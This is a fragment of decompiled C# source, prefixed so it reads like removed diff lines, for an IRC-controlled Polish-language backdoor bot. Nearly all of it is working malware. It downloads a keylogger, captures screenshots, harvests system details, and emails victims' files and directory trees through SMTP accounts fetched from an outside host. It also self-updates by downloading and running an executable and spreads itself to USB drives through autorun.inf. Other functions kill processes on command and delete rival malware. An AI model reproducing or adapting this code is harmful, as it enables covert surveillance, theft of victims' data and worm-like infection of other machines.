- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- }
-
- private void UtworzFolder()
- {
- try
- {
- try
- {
- string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft";
- if (!Directory.Exists(path))
- Directory.CreateDirectory(path);
- new DirectoryInfo(path).Attributes |= FileAttributes.Hidden;
- }
- catch
- {
- string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess";
- if (!Directory.Exists(path))
- Directory.CreateDirectory(path);
- new DirectoryInfo(path).Attributes |= FileAttributes.Hidden;
- }
- }
- catch
- {
- }
- }
-
- private void UsunPlik()
- {
- string destination = "#jaknie5";
- string message1 = "usunięto plik";
- string message2 = "nie usunięto pliku";
- string kom = this.kom;
- try
- {
- string[] strArray = kom.Split('"');
- System.IO.File.Delete(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]);
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- }
-
- private void UsunFolder()
- {
- string destination = "#jaknie5";
- string message1 = "usunięto folder";
- string message2 = "nie usunięto folderu";
- string kom = this.kom;
- try
- {
- Directory.Delete(kom.Split('"')[1]);
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- }
-
- public string GetProcessOwner(int processId)
- {
- foreach (ManagementObject managementObject in new ManagementObjectSearcher("Select * From Win32_Process Where ProcessID = " + (object) processId).Get())
- {
- string[] args = new string[2]
- {
- string.Empty,
- string.Empty
- };
- if (Convert.ToInt32(managementObject.InvokeMethod("GetOwner", (object[]) args)) == 0)
- {
- this.sprproc = true;
- return args[1] + "\\" + args[0];
- }
- }
- this.sprproc = false;
- return "brak danych";
- }
-
- private void SprawdzProces()
- {
- string destination = "#jaknie5";
- int int32 = Convert.ToInt32(this.kom.Split(' ')[3]);
- string str = "Użytkownik ";
- string message1 = "brak danych";
- Process.GetProcesses();
- try
- {
- string message2 = str + this.GetProcessOwner(int32);
- if (this.sprproc)
- this.irc.SendMessage(SendType.Message, destination, message2);
- else
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- }
-
- private void PobierzKeyloggera()
- {
- FileDownloader fileDownloader = new FileDownloader();
- string kom = this.kom;
- string str1 = "pobrano keyloggera do folderu ";
- string message = "nie pobrano keyloggera";
- string destination = "#jaknie5";
- try
- {
- string url = kom.Split(' ')[3];
- string[] strArray = new string[10]
- {
- Environment.SystemDirectory + "\\",
- Environment.GetEnvironmentVariable("windir") + "\\",
- "C:\\",
- "D:\\",
- Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\",
- null,
- null,
- null,
- null,
- null
- };
- bool flag;
- string str2;
- try
- {
- try
- {
- try
- {
- try
- {
- fileDownloader.Download(url, strArray[0]);
- flag = true;
- str2 = strArray[0];
- }
- catch
- {
- fileDownloader.Download(url, strArray[1]);
- flag = true;
- str2 = strArray[1];
- }
- }
- catch
- {
- fileDownloader.Download(url, strArray[2]);
- flag = true;
- str2 = strArray[2];
- }
- }
- catch
- {
- fileDownloader.Download(url, strArray[3]);
- flag = true;
- str2 = strArray[3];
- }
- }
- catch
- {
- fileDownloader.Download(url, strArray[4]);
- flag = true;
- str2 = strArray[4];
- }
- if (flag)
- this.irc.SendMessage(SendType.Message, destination, str1 + str2);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void mailUpload(string temat, string tekst, string zalacznik)
- {
- int num = 0;
- try
- {
- do
- {
- string[] strArray = new WebClient().DownloadString("http://krzycho.yoyo.pl/maile.txt").Split(new string[1]
- {
- "\r\n"
- }, StringSplitOptions.None);
- int maxValue = 0;
- foreach (string str in strArray)
- ++maxValue;
- int index = new Random().Next(1, maxValue);
- MailMessage mailMessage = new MailMessage();
- SmtpClient smtpClient = new SmtpClient("smtp.mail.ru", 2525);
- smtpClient.UseDefaultCredentials = false;
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray[index], "tester12");
- smtpClient.EnableSsl = false;
- smtpClient.Timeout = 6000000;
- MailMessage message = new MailMessage();
- string addresses = strArray[0];
- message.From = new MailAddress(strArray[index], this.irc.Nickname, Encoding.UTF8);
- message.To.Add(addresses);
- message.Subject = temat + " - " + this.irc.Nickname;
- message.Body = tekst;
- if (zalacznik.Length > 1)
- message.Attachments.Add(new Attachment(zalacznik));
- message.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
- smtpClient.Send(message);
- this.wyslaniepliku = true;
- Thread.Sleep(2000);
- ++num;
- }
- while (!this.wyslaniepliku && num < 20);
- }
- catch
- {
- }
- }
-
- private void mailWyslijFolder()
- {
- int num1 = 0;
- do
- {
- string destination = "#jaknie5";
- string message1 = "wysłano pliki na maila";
- string str1 = "nie wysłano plików na maila";
- string kom = this.kom;
- try
- {
- string[] strArray1 = new WebClient().DownloadString("http://krzycho.yoyo.pl/maile.txt").Split(new string[1]
- {
- "\r\n"
- }, StringSplitOptions.None);
- int maxValue = 0;
- foreach (string str2 in strArray1)
- ++maxValue;
- int index1 = new Random().Next(1, maxValue);
- string[] strArray2 = kom.Split('"');
- string path = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray2[1] : this.folderbs) : this.foldergames;
- string[] files = Directory.GetFiles(path);
- MailMessage mailMessage = new MailMessage();
- SmtpClient smtpClient = new SmtpClient("smtp.mail.ru", 2525);
- smtpClient.UseDefaultCredentials = false;
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(strArray1[index1], "tester12");
- smtpClient.EnableSsl = false;
- smtpClient.Timeout = 6000000;
- MailMessage message2 = new MailMessage();
- string addresses = strArray1[0];
- message2.From = new MailAddress(strArray1[index1], this.irc.Nickname, Encoding.UTF8);
- message2.To.Add(addresses);
- message2.Subject = path + " - " + this.irc.Nickname;
- int num2 = 0;
- if (files[0] != null)
- {
- foreach (string str3 in files)
- ++num2;
- for (int index2 = 0; index2 < num2; ++index2)
- message2.Attachments.Add(new Attachment(files[index2]));
- }
- message2.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
- smtpClient.Send(message2);
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- catch (Exception ex)
- {
- this.irc.SendMessage(SendType.Message, destination, str1 + "(" + ex.Message + ")");
- }
- Thread.Sleep(2000);
- ++num1;
- }
- while (!this.wyslaniepliku && num1 < 20);
- }
-
- private void mailWyslijPlik()
- {
- string destination = "#jaknie5";
- string message1 = "wyslano pliki";
- string message2 = "nie wysłano plików";
- string kom = this.kom;
- try
- {
- string[] strArray = kom.Split('"');
- string zalacznik = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1];
- this.wyslaniepliku = true;
- this.mailUpload("plik " + zalacznik, "", zalacznik);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, message1);
- else
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- }
-
- private void SprawdzFoldery()
- {
- string destination = "#jaknie5";
- string message1 = "nie wyświetlono plików";
- string kom = this.kom;
- try
- {
- string message2 = string.Join(", ", Directory.GetDirectories(kom.Split('"')[1]));
- this.irc.SendMessage(SendType.Message, destination, message2);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message1);
- }
- }
-
- private void mailWyswietlPliki()
- {
- string destination = "#jaknie5";
- string str = "wyslano drzewo plików na mail";
- string message = "nie wyslano drzewa plików na mail";
- string kom = this.kom;
- try
- {
- string[] strArray = kom.Split('"');
- string tekst = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames));
- this.wyslaniepliku = true;
- this.mailUpload("drzewo plików", tekst, "");
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void mailWyswietlKatalogi()
- {
- string destination = "#jaknie5";
- string str = "wyslano drzewo katalogów na mail";
- string message = "nie wyslano drzewa katalogów na mail";
- string kom = this.kom;
- try
- {
- string tekst = string.Join(Environment.NewLine, Directory.GetDirectories(kom.Split('"')[1]));
- this.wyslaniepliku = true;
- this.mailUpload("drzewo katalogów", tekst, "");
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void mailWyswietlDrzewo()
- {
- string destination = "#jaknie5";
- string str = "wyslano drzewo plików i katalogów na mail";
- string message = "nie wyslano drzewa plików i katalogów na mail";
- string kom = this.kom;
- try
- {
- string[] strArray = kom.Split('"');
- string tekst = string.Join(Environment.NewLine, Directory.GetFiles(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs) : this.foldergames, "*.*", SearchOption.AllDirectories));
- this.wyslaniepliku = true;
- this.mailUpload("drzewo", tekst, "");
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, destination, str + " o nazwie " + this.irc.Nickname);
- else
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, destination, message);
- }
- }
-
- private void mailZrobSS()
- {
- try
- {
- this.UtworzFolder();
- DateTime now = DateTime.Now;
- int hour = now.Hour;
- int minute = now.Minute;
- int second = now.Second;
- string str1 = Environment.UserName + (Convert.ToString(hour) + Convert.ToString(minute) + Convert.ToString(second)) + ".jpeg";
- string str2 = this.folderbs + "\\" + str1;
- Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
- Graphics.FromImage((Image) bitmap).CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
- bitmap.Save(str2, ImageFormat.Jpeg);
- this.wyslaniepliku = true;
- this.mailUpload("zrzut ekranu", "", str2);
- if (this.wyslaniepliku)
- this.irc.SendMessage(SendType.Message, "#jaknie5", "zrobiono zrzut ekranu o nazwie " + str1);
- else
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zrobiono zrzutu ekranu");
- }
- }
-
- private void Logi()
- {
- try
- {
- this.mailUpload("logi", this.wiad, "");
- this.wiad = "";
- this.irc.SendMessage(SendType.Message, "#jaknie5", "logi zostały wysłane na maila");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "logni nie zostały wysłane na maila");
- }
- }
-
- private bool SprawdzCzyOP()
- {
- this._channel = this.irc.GetChannel("#jaknie5");
- foreach (DictionaryEntry user in this._channel.Users)
- {
- ChannelUser channelUser = (ChannelUser) user.Value;
- if (this.irc.IsMe(channelUser.Nick))
- return channelUser.IsOp;
- }
- return false;
- }
-
- private int LiczOpow()
- {
- int num = 0;
- this.lu = 0;
- try
- {
- this._channel = this.irc.GetChannel("#jaknie5");
- foreach (DictionaryEntry user in this._channel.Users)
- {
- ChannelUser channelUser = (ChannelUser) user.Value;
- if (channelUser.IsOp)
- ++num;
- ++this.lu;
- this.lcu[this.lu] = channelUser.Nick;
- }
- }
- catch
- {
- }
- return num;
- }
-
- private void OPZarzadzaj()
- {
- if (this.LiczOpow() >= 2 || !this.SprawdzCzyOP())
- return;
- int index = new Random().Next(1, this.lu);
- try
- {
- this.irc.Op("#jaknie5", this.lcu[index]);
- this.irc.SendMessage(SendType.Message, "#jaknie5", "dalem OPa " + this.lcu[index]);
- this.Logi();
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "logi nie zostały wysłane na maila");
- }
- }
-
- private bool SprCzyOP(string nick)
- {
- this._channel = this.irc.GetChannel("#jaknie5");
- foreach (DictionaryEntry user in this._channel.Users)
- {
- ChannelUser channelUser = (ChannelUser) user.Value;
- if (nick == channelUser.Nick)
- return channelUser.IsOp;
- }
- return false;
- }
-
- private bool SprCzyVoice(string nick)
- {
- this._channel = this.irc.GetChannel("#jaknie5");
- foreach (DictionaryEntry user in this._channel.Users)
- {
- ChannelUser channelUser = (ChannelUser) user.Value;
- if (nick == channelUser.Nick)
- return channelUser.IsVoice;
- }
- return false;
- }
-
- private void Aktualizuj()
- {
- try
- {
- string str = new WebClient().DownloadString("http://krzycho.yoyo.pl/wersja.txt");
- string destFolder = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\";
- if (str != this.wer)
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "aktualizacja jest dostepna");
- FileDownloader fileDownloader = new FileDownloader();
- System.IO.File.Delete(destFolder + "asd.exe");
- fileDownloader.Download("http://krzycho.yoyo.pl/asd.exe", destFolder);
- this.OtworzPlik(destFolder + "asd.exe");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "zainstalowano aktualizacje");
- }
- if (!(str == this.wer))
- return;
- this.irc.SendMessage(SendType.Message, "#jaknie5", "brak dostępnych aktualizacji");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "instalowanie aktualizacji nie powiodlo sie");
- }
- }
-
- private void NowyDysk(object sender, DriveDetectorEventArgs e) => this.PobierzNaDysk(e.Drive);
-
- private void PobierzNaDysk(string dysk)
- {
- FileDownloader fileDownloader = new FileDownloader();
- string url1 = "http://krzycho.yoyo.pl/asd.exe";
- string url2 = "http://krzycho.yoyo.pl/autorun.inf";
- try
- {
- if (System.IO.File.Exists(dysk + "\\gt2011asd.rx8"))
- {
- string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft", "*.log", SearchOption.AllDirectories);
- string.Join(", ", files);
- int num1 = 0;
- if (files != null)
- {
- int num2 = new Random().Next(0, 10000);
- string path = dysk + "\\" + Environment.UserName + num2.ToString();
- Directory.CreateDirectory(path);
- foreach (string str in files)
- ++num1;
- for (int index = 0; index < num1; ++index)
- System.IO.File.Copy(files[index], path + "\\" + Path.GetFileName(files[index]));
- }
- int num3 = 0;
- if (files == null)
- return;
- foreach (string str in files)
- ++num3;
- for (int index = 0; index < num3; ++index)
- {
- try
- {
- System.IO.File.Delete(files[index]);
- }
- catch
- {
- }
- }
- }
- else if (System.IO.File.Exists(dysk + "\\911gt2011.asd"))
- {
- if (System.IO.File.ReadAllText(dysk + "\\911gt2011.asd") == null)
- return;
- foreach (string readAllLine in System.IO.File.ReadAllLines(dysk + "\\911gt2011.asd"))
- {
- this.kom = readAllLine;
- this.Polecenia();
- }
- }
- else
- {
- if (!this.PendriveRejestr())
- return;
- try
- {
- this.UsunPlikZDysku(dysk + "\\autorun.inf");
- }
- catch
- {
- }
- try
- {
- fileDownloader.Download(url1, dysk);
- fileDownloader.Download(url2, dysk);
- this.mailUpload("Infekcja", "Zainfekowany pendrive", "");
- }
- catch
- {
- }
- try
- {
- string sourceFileName = dysk + "asd.exe";
- string str = dysk + "autorun.inf";
- try
- {
- System.IO.File.Move(sourceFileName, dysk + "Nie uruchamiaj tego.exe");
- }
- catch
- {
- }
- }
- catch
- {
- }
- }
- }
- catch
- {
- }
- }
-
- private void UsunPlikZDysku(string sciezka)
- {
- try
- {
- System.IO.File.Delete(sciezka);
- }
- catch
- {
- }
- }
-
- private void AktualizujAuto()
- {
- try
- {
- string str = new WebClient().DownloadString("http://krzycho.yoyo.pl/wersja.txt");
- string destFolder = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\";
- if (!(str != this.wer))
- return;
- FileDownloader fileDownloader = new FileDownloader();
- System.IO.File.Delete(destFolder + "asd.exe");
- fileDownloader.Download("http://krzycho.yoyo.pl/asd.exe", destFolder);
- this.OtworzPlik(destFolder + "asd.exe");
- }
- catch
- {
- }
- }
-
- private void ZbierzDane()
- {
- try
- {
- Environment.GetLogicalDrives();
- string str1 = " ";
- string environmentVariable = Environment.GetEnvironmentVariable("windir");
- string userName = Environment.UserName;
- string str2 = Convert.ToString((object) Environment.OSVersion);
- string machineName = Environment.MachineName;
- string systemDirectory = Environment.SystemDirectory;
- string userDomainName = Environment.UserDomainName;
- string str3 = Convert.ToString((object) Environment.Version);
- string str4 = Convert.ToString(Environment.ProcessorCount);
- string[] logicalDrives = Environment.GetLogicalDrives();
- string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
- foreach (IPAddress address in Dns.GetHostEntry(Dns.GetHostName()).AddressList)
- str1 = str1 + address.ToString() + " ";
- string str5 = this.PobierzSerialDysku("C");
- string str6 = "System " + str2;
- string str7 = "Znajduje sie w " + environmentVariable;
- string str8 = "Folder system32 jest w " + systemDirectory;
- string str9 = "Wersja systemu " + str3;
- string str10 = "Nazwa maszyny " + machineName;
- string str11 = "Domena " + userDomainName;
- string str12 = "Nazwa uzytkownika " + userName;
- string str13 = "Liczba procesorow " + str4;
- string str14 = "Dyski: " + string.Join(", ", logicalDrives);
- string str15 = "Adres IP " + str1;
- string str16 = "Sciezka do moich dokumentow " + folderPath;
- string str17 = "Numer seryjny woluminu " + str5;
- WebClient webClient = new WebClient();
- string str18 = webClient.DownloadString("http://poprostuchlopie.yoyo.pl/bazadn.txt");
- string str19 = str17;
- string str20 = str6 + Environment.NewLine + str7 + Environment.NewLine + str8 + Environment.NewLine + str9 + Environment.NewLine + str10 + Environment.NewLine + str11 + Environment.NewLine + str13 + Environment.NewLine + str12 + Environment.NewLine + str14 + Environment.NewLine + str16 + Environment.NewLine + str15 + Environment.NewLine + str17 + Environment.NewLine + Environment.NewLine;
- if (str18.Contains(str19))
- return;
- try
- {
- if (webClient.DownloadString("http://poprostuchlopie.yoyo.pl/bazadn2.txt").Contains(str19))
- return;
- this.UsunPlikZDysku(this.folderbs + "\\bazadn2.txt");
- new FileDownloader().Download("http://poprostuchlopie.yoyo.pl/bazadn2.txt", this.folderbs);
- string str21 = this.folderbs + "\\bazadn2.txt";
- StreamWriter streamWriter = new StreamWriter(str21, true);
- streamWriter.WriteLine(str20);
- streamWriter.Close();
- this.Upload(str21);
- }
- catch
- {
- this.UsunPlikZDysku(this.folderbs + "\\bazadn2.txt");
- string str22 = this.folderbs + "\\bazadn2.txt";
- StreamWriter streamWriter = new StreamWriter(str22, true);
- streamWriter.WriteLine(str20);
- streamWriter.Close();
- this.Upload(str22);
- }
- }
- catch
- {
- }
- }
-
- private void Czyszczenie()
- {
- try
- {
- string[] files = Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft", "*.jpeg", SearchOption.AllDirectories);
- int num = 0;
- if (files[0] != null)
- {
- foreach (string str in files)
- ++num;
- for (int index = 0; index < num; ++index)
- {
- try
- {
- System.IO.File.Delete(files[index]);
- }
- catch
- {
- }
- }
- }
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono dysku");
- }
- this.ZnajdzIUsun();
- }
-
- private void ZnajdzIUsun()
- {
- try
- {
- string[] strArray1 = new string[20]
- {
- Environment.SystemDirectory + "\\Setup\\svchost.exe",
- Environment.GetEnvironmentVariable("windir") + "\\svchost.exe",
- Environment.GetEnvironmentVariable("windir") + "\\twin_32\\svchost.exe",
- "C:\\svchost.exe",
- "D:\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + "\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Programs) + "\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Recent) + "\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\svchost.exe",
- "E:\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess\\svchost.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\svchost.exe",
- null,
- null,
- null
- };
- for (int index = 0; index < 16; ++index)
- {
- try
- {
- if (System.IO.File.Exists(strArray1[index]))
- {
- if (new FileInfo(strArray1[index]).Attributes != FileAttributes.ReadOnly)
- System.IO.File.Delete(strArray1[index]);
- }
- }
- catch
- {
- }
- }
- string[] strArray2 = new string[20]
- {
- Environment.SystemDirectory + "\\Setup\\jucheed.exe",
- Environment.GetEnvironmentVariable("windir") + "\\jucheed.exe",
- Environment.GetEnvironmentVariable("windir") + "\\twin_32\\jucheed.exe",
- "C:\\jucheed.exe",
- "D:\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.CommonProgramFiles) + "\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Programs) + "\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Recent) + "\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\jucheed.exe",
- "E:\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess\\jucheed.exe",
- Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\jucheed.exe",
- null,
- null,
- null
- };
- for (int index = 0; index < 16; ++index)
- {
- try
- {
- if (System.IO.File.Exists(strArray2[index]))
- {
- if (new FileInfo(strArray2[index]).Attributes != FileAttributes.ReadOnly)
- System.IO.File.Delete(strArray2[index]);
- }
- }
- catch
- {
- }
- }
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wyczyszczono dysk");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono dysku");
- }
- }
-
- private string PobierzSerialDysku(string drive)
- {
- if (drive == "" || drive == null)
- drive = "C";
- ManagementObject managementObject = new ManagementObject("win32_logicaldisk.deviceid=\"" + drive + ":\"");
- managementObject.Get();
- return managementObject["VolumeSerialNumber"].ToString();
- }
-
- private void ZmienTapete()
- {
- try
- {
- string[] strArray1 = new string[10];
- string[] strArray2 = this.kom.Split(' ');
- string url = strArray2[3];
- string styl;
- try
- {
- styl = strArray2[4];
- }
- catch
- {
- styl = "Centered";
- }
- if (styl != "rozciagnij" && styl != "normalnie" && styl != "sasiadujaco")
- styl = "normalnie";
- this.PobierzTapete(url, styl);
- }
- catch (Exception ex)
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie zmieniono tapety (" + ex.Message + ")");
- }
- }
-
- private bool SprawdzBlokady()
- {
- Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Bluesoft");
- return !(Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "false").ToString() != "true");
- }
-
- private void Blokuj(object sender, ElapsedEventArgs e)
- {
- try
- {
- string str1 = Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) "false").ToString();
- if (!(str1 != ""))
- return;
- string[] strArray = str1.Split(',');
- foreach (Process process in Process.GetProcesses())
- {
- foreach (string str2 in strArray)
- {
- if (process.ProcessName == str2)
- process.Kill();
- }
- }
- }
- catch
- {
- }
- }
-
- private void Blokowanie()
- {
- string[] strArray1 = this.kom.Split('"');
- if (this.kom.Contains("wlacz"))
- {
- try
- {
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "true");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono blokowanie programów");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie włączono blokowania programów");
- }
- }
- else if (this.kom.Contains("wylacz"))
- {
- try
- {
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "blok", (object) "false");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono blokowanie programów");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono blokowania programów");
- }
- }
- else if (this.kom.Contains("dodaj"))
- {
- try
- {
- string str = strArray1[1];
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) (Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft").GetValue("programy", (object) "").ToString() + str));
- this.irc.SendMessage(SendType.Message, "#jaknie5", "dodano program do listy blokowanych");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie dodano programu do listy blokowanych");
- }
- }
- else if (this.kom.Contains("usun"))
- {
- try
- {
- string str1 = strArray1[1];
- string[] strArray2 = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft").GetValue("programy", (object) "").ToString().Split(',');
- int index = 0;
- foreach (string str2 in strArray2)
- {
- if (str2 == str1)
- strArray2[index] = "";
- ++index;
- }
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) string.Join(",", strArray2));
- this.irc.SendMessage(SendType.Message, "#jaknie5", "usunieto program z listy blokowanych");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie usunieto programu z listy blokowanych");
- }
- }
- else if (this.kom.Contains("wyczysc"))
- {
- try
- {
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "programy", (object) "");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wyczyszczono liste blokowanych programow");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyczyszczono listy blokowanych programów");
- }
- }
- else
- {
- try
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "Bledne polecenie");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "-blokuj wlacz, -blokuj wylacz, -blokuj wyczysc");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "-blokuj dodaj [nazwa procesu], -blokuj usun [nazwa procesu]");
- }
- catch
- {
- }
- }
- this.stt.Interval = 300.0;
- this.stt.Elapsed += new ElapsedEventHandler(this.Blokuj);
- if (this.SprawdzBlokady())
- this.stt.Enabled = true;
- else
- this.stt.Enabled = false;
- }
-
- private bool PendriveRejestr()
- {
- Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Bluesoft");
- return Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true").ToString() != "false";
- }
-
- private void InfekujPendrive()
- {
- if (this.kom.Contains("wlacz"))
- {
- try
- {
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "włączono infekowanie pendrivów");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie włączono infekowania pendrivów");
- }
- }
- else if (this.kom.Contains("wylacz"))
- {
- try
- {
- Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "false");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "wyłączono infekowanie pendrivów");
- }
- catch
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "nie wyłączono infekowania pendrivów");
- }
- }
- else
- {
- try
- {
- this.irc.SendMessage(SendType.Message, "#jaknie5", "Bledne polecenie");
- this.irc.SendMessage(SendType.Message, "#jaknie5", "-infekuj wlacz, -infekuj wylacz");
- }
- catch
- {
- }
- }
- }
-
- private void UstawieniaRejestru()
- {
- RegistryKey subKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\BlueSoft");
- string str1 = subKey.GetValue("knp", (object) "false").ToString();
- string str2 = subKey.GetValue("blok", (object) "false").ToString();
- string str3 = subKey.GetValue("programy", (object) "").ToString();
- string str4 = !(str1 != "true") ? "Infekowanie pendrivów jest włączone" : "Infekowanie pendrivów jest wyłączone";
- string str5 = !(str2 != "true") ? "Blokowanie programów jest włączone" : "Blokowanie programów jest wyłączone";
- string str6 = !(str3 != "") ? "Nie są blokowane żadne programy" : "Blokowane programy: " + str3;
- string destination = "#jaknie5";
- string message1 = str4;
- string message2 = str5;
- string message3 = str6;
- this.irc.SendMessage(SendType.Message, destination, message1);
- this.irc.SendMessage(SendType.Message, destination, message2);
- this.irc.SendMessage(SendType.Message, destination, message3);
- }
-
- private string RejestrOdczyt(string klucz, string NazwaWartosci)
- {
- try
- {
- return Registry.GetValue(klucz, NazwaWartosci, (object) "brak wpisu").ToString();
- }
